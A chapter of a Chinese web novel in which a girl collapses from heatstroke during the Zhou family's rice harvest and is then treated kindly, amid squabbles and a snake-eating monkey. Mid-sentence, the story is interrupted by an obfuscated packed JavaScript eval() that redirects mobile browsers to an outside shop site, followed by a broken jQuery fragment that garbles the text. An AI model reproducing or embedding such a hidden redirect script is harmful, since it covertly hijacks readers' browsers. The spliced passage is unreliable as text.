34. 第三十四章
    这边的动静,让还在田里忙活的周婆子等人注意到。

    隔着距离,就问这边发生了什么事。

    赵榆没答,她就看着周麦如何说。

    周麦自是不敢说实话,她几次被周婆子打骂,若是再被对方知道她弄哭了大牛,指不定又是一顿责怪。

    狠狠瞪了一眼赵榆,从地上爬起来,冲着周婆子道:“无事,只是摔了一跤。”

    等周婆子不再看向这边,周麦这才压着声音恶声道:“你不过是我娘从人牙子手里领回来的,这和我大哥的事还没个影呢,竟然真敢在我面前摆长嫂的谱,果真是个没脸没皮的!”

    赵榆嘴一张,就想回一句,谁稀罕做你嫂子。

    但念及周田时不时扛着稻穗过来,于是话头一转,道:“你若是成了谁的小姑子,那人准是上辈子造了大孽!”

    说完不再理她,将大牛脸蛋擦了擦,问:“哪里摔疼了?”

    大牛抽咽一声,扭了扭屁/股,表明是屁/股摔疼了。

    赵榆给他揉了揉,这才扯了一把草给他擦干净手上的泥。

    大牛还在噘嘴抽泣,不忘指责周麦道:“小姑最坏!”

    赵榆心里也跟着认同,好吃懒做、撒谎成性,还用那些下三滥的手段陷害她,可不就是最坏么?

    赵榆已经多次发现自己背的竹筐要重上不少,明明里头装的稻穗她是按照自己的力度来,适量不会过于沉重,免得来回不了几趟,就会因过于疲累而失了力。

    然几次她将稻谷背回去,就发现竹筐重的不行,待她将稻穗倒出来,发现里头像是被人踩过一般,装的十分紧实,取出一层还有一层。

    一次两次赵榆只当自己累晕了头,没注意就装的多了,直到她看见周麦悄摸摸地往她的竹筐里放稻穗,这才反应过来。

    周麦为了躲懒,次次只往竹筐里装浅浅一层的稻穗,她看似背着筐子没个停歇,实际上来回的趟数少的可怜,大半时间都在路上墨迹,或是将谷子送回家时,趁着机会歇上一歇。

    可她自己偷懒了,倒是想让赵榆多干。

    随手塞几把稻穗进赵榆的竹筐里,她做得十分得心应手。

    想到这里,赵榆觉得她的肩膀似乎又痛上几分。

    冷冷斜了一眼周麦,赵榆认为这事不能就这么算了,她牵着大牛往周婆子那边去,将他被欺负的事给说了出来,顺带还提了一嘴周麦做活不尽心

    为了不引起周婆子的不喜,赵榆这状告得委婉,奈尔周婆子清楚周麦是个什么性子,只听了一耳朵,就明白了过来。

    于是周麦不仅被大骂一顿,接连几天更是被周婆子紧盯着,再没了躲懒的机会,赵榆得以轻松不少。

    然而,不知是不是接连几天不得歇,赵榆精神不济,终于在一天顶着火辣的日头晕了过去。

    不说她这一晕着实把周家人给吓住了,周老汉让周谷将人给背回去,他自己则赶去刘家寻刘贵。

    之所以寻刘贵,不过是他识得一些草药,这份本事在普通村民眼里,就和大夫说“略有几分看病的本事”一样,于是村里一些人一有头疼脑热的就爱往他面前转,或是和他讨些草药自己回去煮着喝。

    无论刘贵多次说自己看不得病,也不会看病,但大家伙为了省下钱,最先找的人就是他。

    加上刘贵时不时将采到了药草送到许家药馆,次数多了,也和看诊的大夫说上几句话,明白了一些草药的用处。

    别的他不懂,风寒风热倒是记了一些放心上,于是再被村里人缠得紧了,就将不用炮制的草药送出去几株让他们煮水喝。

    别说,那些头疼脑热竟然在喝过之后当真缓解不少。

    这一下,刘贵真就被村里一些人认为是有些能耐的“半个大夫”。

    周老汉找刘贵倒不是因为舍不得钱,若说看病还是许家让人信服,但自从许家靠着药馆将日子过红火之后,九龙村他们便不常回来,举家已有在县城落户的打算。

    赵榆这晕得突然,周老汉心急,只好先来找刘贵给看看,好歹是“半个大夫”,总比他们这些什么都不懂的人强些。

    刘贵清楚自己几斤几两,本想拒绝,但在周老汉的请求下,只好答应先来看看。

    等他怀着没着落的心进了赵榆的屋子,竟还真让他瞧出了些名堂。

    这赵小姑娘面白唇干,怎么和许家药馆那位老大夫描述的暑热有些像……

    *

    赵榆醒来时,周家人干活还未回来,院子里静悄悄的。

    感觉到嗓子一阵发干,她撑着手肘坐起身,待突临的眩晕过去,这才强撑着下了床。

    她现在渴的慌,急需一瓢凉水下肚。

    不等她出屋,就见大牛从灶房出来,怀里抱着一个陶罐正小心翼翼地往她这边来。

    他人小,腆着小肚子将装得满当的陶罐稳定在两手之间,就怕罐子里头的东西洒了出来。

    那副绷着小脸的模样,瞧着十分可人。

    赵榆忍不住勾了勾唇,虚着声音叫了他一声。

    大牛听见声,连忙抬头,惊喜道:“榆阿姐,你醒啦!”

    赵榆笑着点了点头,见他抱着陶罐小短腿迈地很是艰辛,忙忍着发软的身体将罐子接了过来。

    等将陶罐放在猴子经常蹲的木椅上时,赵榆这才松了口气。

    也不知道她这是怎么了,两条胳膊像是失了力般,差点将这罐子给摔着。

    大牛很高兴赵榆醒来,记着周婆子的吩咐,他忙将陶罐打开,催促道:“榆阿姐,你快把这些喝下去。”

    赵榆:“这是什么?”罐里的水隐隐发黄,像是掺了水的苦药。

    但仔细一闻,却带着些淡淡清香。

    她倾身凑近看了看,无需大牛回答,她已经认出了里头的东西。

    是竹叶和车前草熬煮出来的汁水。

    这两样东西太常见,赵榆想不认识都难。

    不过她记得这竹叶和车前草性寒,有清热去暑的效用。

    周婶为她煮这种汁水,难不成自己是热出病来了?

    喝完一罐子水后,赵榆又迷迷糊糊睡了过去,等再次被叫醒,外头太阳已经下山。

    赵榆缓缓睁开眼,面前出现的竟是周婆子,她身体一震,连忙爬起来。

    现在正是秋收的时候,周家老老少少忙个不停,反倒是她这个最该干活的人竟然睡到现在才醒,哪怕是因为身体不适,赵榆也觉得过意不去以及些许慌张。

    担心周婆子会因为她没能帮着做活而生气。

    赵榆紧着嗓子唤了一声“周婶”。

    意外的是,周婆子不仅没生气,在应了一声之后,神情还算平静地问她身体可恢复了些,并让她先起来将晚食吃了,待吃完后再继续歇息。

    没被嫌弃不中用赵榆已然觉得很好了,但当她落座后,紧接着周婆子给她端来一碗蛋羹时,赵榆心里是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659912|139955||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    止不住的震惊。

    这……

    不过是暑热而已,她竟能被这般对待?

    见赵榆盯着蛋羹不动,周婆子疑惑皱眉,“吃啊,干看着能管饱?”

    赵榆忙应了一声,又惊又喜地拿起木勺舀起蛋羹就要往嘴里送,然在见到一旁的大牛正就着几片菜叶子往嘴里扒饭,于是还没到嘴的勺子一转进了大牛的碗里。

    家里存下的兔子肉早在前天就吃完了,桌上没了油水,倒让赵榆这碗蛋羹越发显眼。

    不止周麦,方春梅见着也嘴馋。

    好好的鸡蛋便宜一个外人作甚?

    方春梅不满却不敢抢,她还记着周家这老婆子威吓她不让她上饭桌这事。

    周麦倒是敢伸手,结果被周婆子给打了回去。

    赵榆对大牛大方,对周麦方春梅可不是。

    顶着两人满含怨念的目光,赵榆将蛋羹全吃下肚,连碗都给刮得干干净净。

    *

    忙活了好几日,周家稻谷已经收割的差不多,剩下的只需一两日就能全收回来。

    次日赵榆本想继续跟着去帮忙,没成想被周婆子给阻了,说眼下用不着她,让她再歇上一天,别没好完全又给晕倒在田里。

    大牛见她不去,也耍赖说不想去,想留在家里照顾娘和榆阿姐,但田里的谷粒还等着人捡呢,于是大牛只能撅着嘴被周婆子给拉走了。

    赵榆眼睁睁地看着周家人离开,也不知是不是她的错觉,总觉得周婶待她似乎又有了变化。

    似乎是和善了些,又更重视了不少。

    赵榆精力虽仍有些不济,但闭上眼却怎么也睡不着。

    昨夜睡得早,没等到猴子就睡熟过去,也不知道它昨儿个有没有来。

    正想着,就见门栏那处有个毛茸茸的头顶在乱动。

    没等她出声,猴子就扒住门栏露出了半张猴脸来。

    赵榆一喜,没想到它会这个时候过来。

    只是待她看清它脖子上缠绕的东西时,她还没完全浮起来的笑意又给收了回去。

    这猴子是有多喜欢吃蛇,什么花纹的都敢吃,这次带来的蛇看起来不太长,却足有她手腕粗,灰麻色的蛇鳞,带着浅浅的黑色纹路,这一看就是条毒性烈的蛇。

    这次别说让猴子上床了,就是它靠近,赵榆都觉得瘆得慌。

    “哇!”

    赵榆摇头,指着一旁的椅子道:“去那边!”

    “哇哇哇!”

    赵榆面色坚定,拦在它身前,就是不准它上床。

    最后猴子在向赵榆扔了两个果子以表不满之后,这才带着它的蛇上了木椅。

    赵榆松了口气,真怕管不住它。

    坐回床上,余光一扫,在床里侧发现了猴子仍的果子,一开始她只以为是普通野果,待看清后发现竟是一个青皮梨子。

    赵榆忙将另一个也从床底下掏出来,看着这两个摔烂的梨子,心疼地抽了一口气。

    这么好的梨子,都给摔坏了!

    本想数落它一句,但想到这两个梨子可能是它特地带回来给她吃的,心里又有些发软。

    算了,只是摔烂了而已,又不是不能吃。

    等她取了水将梨子冲洗一遍后,刚要凑近咬上一口,就听见主屋那边一阵噼里啪啦像是东西摔在地上的声响,紧接着便是二牛扯着嗓子嚎哭起来。

    赵榆一愣,连忙放下梨子,起身跑了过去。